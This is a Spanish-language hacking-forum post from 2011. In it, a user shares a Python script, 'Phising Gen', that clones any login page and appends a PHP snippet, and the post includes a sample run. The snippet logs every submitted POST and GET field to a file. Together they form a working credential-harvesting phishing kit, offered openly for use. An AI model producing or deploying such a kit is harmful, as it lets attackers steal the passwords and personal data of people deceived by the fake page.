elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 05:15  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Python] Phising Gen By Doddy H
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Phising Gen By Doddy H  (Leído 509 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Python] Phising Gen By Doddy H
« en: 7 Octubre 2011, 01:39 »

Hola a todos

Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.


Código
#!usr/bin/python
#Phising Gen (C) Doddy Hackman
 
import urllib2,sys,os
 
 
def savefile(filename,text):
file = open(filename,"w")
file.write(text)
 
 
def header() :
print "\n\n--== Phising Gen ==--\n"
 
def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)
 
def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"
 
def toma(web) :
return urllib2.urlopen(web).read()
 
 
def gen(web,new):
try:
 print "\n[+] Working in the phishing"
 code = toma(web)
 text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
 print "[+] The fake was save in",new
 savefile(new,code+"\n\n"+text)
except:
 pass
 
header()
 
if len(sys.argv) != 3 :
show()
 
else :
gen(sys.argv[1],sys.argv[2])
 
copyright()
 
#The End
 
 
 

Ejemplo de uso

Código:
C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php



--== Phising Gen ==--


[+] Working in the phishing
[+] The fake was save in yeah.php


(C) Doddy Hackman 2010




« Última modificación: 8 Octubre 2011, 19:07 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
Doddy 0 175 Último mensaje 7 Octubre 2011, 01:32
por Doddy
[Python] Easy Inyector By Doddy H
Scripting
Doddy 0 150 Último mensaje 7 Octubre 2011, 01:33
por Doddy
[Python] Fuzz DNS By Doddy H
Scripting
Doddy 0 127 Último mensaje 7 Octubre 2011, 01:34
por Doddy
[Python] HellRat By Doddy H
Scripting
Doddy 0 151 Último mensaje 7 Octubre 2011, 01:37
por Doddy
[Python] Zapper By Doddy H
Scripting
Doddy 0 180 Último mensaje 7 Octubre 2011, 01:39
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines